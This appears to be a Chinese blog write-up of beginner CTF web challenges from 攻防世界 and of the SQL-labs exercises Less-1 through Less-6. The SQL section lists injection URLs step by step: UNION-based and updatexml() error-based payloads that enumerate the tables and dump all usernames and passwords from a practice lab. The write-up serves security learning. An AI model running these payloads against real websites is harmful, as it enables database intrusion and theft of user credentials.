《攻防世界》 SQL_LABS

《攻防世界》

第一道题 view-source

题目

 解法:

一.点击网址

 二.使用 Ctrl+U查看源代码

 flag: cyberpeace{0fbc7858812876713975c740d40002e3} 

第二道题 robots

 

在网站根目录上加上f1ag_1s_h3re.php

得到flag

robots协议

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)

 第三道题 back up

在根目录中输入/index.php.bak

 打开文本,找到flag

 

 第四道题 cookie

 点击网址 按f12找到cookie,发现cookie.php

 将cookie.php输入根目录中,找到flag

 

 cookie是一些数据,储存在电脑上的文本文件中,cookie的作用就是用于解决如何让记录客户端的用户信息

第五题 disabled_button

点击网址 打开网页 按F12

 

 

 

 

发现按钮不能按是因为源码中有disabled 删除disabled

得到flag

disabled 属性规定应该禁用 input 元素。被禁用的 input 元素既不可用,也不可点击

 

sql-labs

Less-1

判断注入类型


URL地址中输入http://sql-labs-15:8039/Less-1/?id=1 and1=2 页面运行正常,SQL语句中没有语法错误但有明显逻辑错误,所以为字符型注入

 注入单引号‘出现sql语法错误,为字符型注入

查询字段数

URL地址中输入http://sql-labs-15:8039/Less-1/?id=1' order by 1--+

http://sql-labs-15:8039/Less-1/?id=1' order by 1,2--+

http://sql-labs-15:8039/Less-1/?id=1' order by 1,2,3--+

 http://sql-labs-15:8039/Less-1/?id=1' order by 1,2,3,4--+此时报错,说明字段数为3

 使用union联合查询http://sql-labs-15:8039/Less-1/?id=1' order by 1,2,3--+

 

开始注入

查询数据库

输入http://sql-labs-15:8039/Less-1/?id=0' union select  1,2,database()--+ 

获取当前数据库名称:security

查询表名

输入http://sql-labs-15:8039/Less-1/?id=54'  union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+得到当前数据库下的所有表名

 查询列名

输入http://sql-labs-15:8039/Less-1/?id=54'  union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users")--+得到列名

查询用户名和密码

输入http://sql-labs-15:8039/Less-1/?id=54'  union select 1,group_concat(username),group_concat(password) from users--+

 Less-2

判断输入类型

注入单引号,页面运行正常,为数字型注入

查询字段数

 

当在URL地址中输入 http://sql-labs-15:8039/Less-2/?id=1 order by 4,页面报错,输入http://sql-labs-15:8039/Less-2/?id=1 order by 3时,页面正常运行,所以字段数是3

 开始注入

查询数据库

输入http://sql-labs-15:8039/Less-2/?id=-1 union select 1,2,database(),得到库名为security

查询表名 

输入 http://sql-labs-15:8039/Less-2/?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security"),得到当前数据库下的所有表名

查询列名

输入 http://sql-labs-15:8039/Less-2/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users"),得到当前表名下的所有列名

查询用户名和密码

输入http://sql-labs-15:8039/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users查询到所有的账户名和密码

Less-3 

判断注入类型

输入 http://sql-labs-15:8039/Less-3/?id=1'页面运行错误

shuru

 输入http://sql-labs-15:8039/Less-3/?id=1 ') or 1=1 --+页面运行正常,为’)字符型注入

判断字段数

输入http://sql-labs-15:8039/Less-3/?id=1 ') order by 3 --+,页面显示正常,输入http://sql-labs-15:8039/Less-3/?id=1 ') order by 4 --+,页面报错,可判断字段数为3

开始查询

确定字段数后,使用union select联合查询

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,3--+

查询数据库

输入http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,database()--+,得到数据库名security

查询表名

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+得到当前数据库下的所有表名

查询列名

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users")--+得到当前表的所有列名

查询用户名和密码

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,group_concat(username),group_concat(password) from users--+,得到所有的用户名和密码

Less-4

判断字符类型

 

输入http://sql-labs-15:8039/Less-4/?id=)页面运行正常

输入 http://sql-labs-15:8039/Less-4/?id=")页面报错,所以闭合方式为“)

结合源码

 判断字段数

 输入http://sql-labs-15:8039/Less-4/?id=1") order by 3--+页面运行正常

 输入http://sql-labs-15:8039/Less-4/?id=1") order by 4--+页面报错,我们可以知到字段数为3

联合查询

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,3--+

开始注入

查询数据库

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,database()--+得到当前数据库名为security

查询表名

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+查询到当前数据库下的所有表名

查询列名

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users")--+

查询用户名和密码

输入http://sql-labs-15:8039/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users--+ 得到所有的用户名和密码

Less-5

判断字段数

 输入http://sql-labs-15:8039/Less-5/?id=1 order by 3显示出You are in......无显示位,考虑使用SQL语句中的报错函数updatexml()

查询数据库

输入 http://sql-labs-15:8039/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+后,报错显示出了数据库名security

查表名

 输入http://sql-labs-15:8039/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+报错出现所有表名

查列名

http://sql-labs-15:8039/Less-5/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users"),0x7e),1)--+

Less-6

与第五题一致,无显示位,继续使用updatexml()进行报错查询

查询数据

查询表名 

 

查列名 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值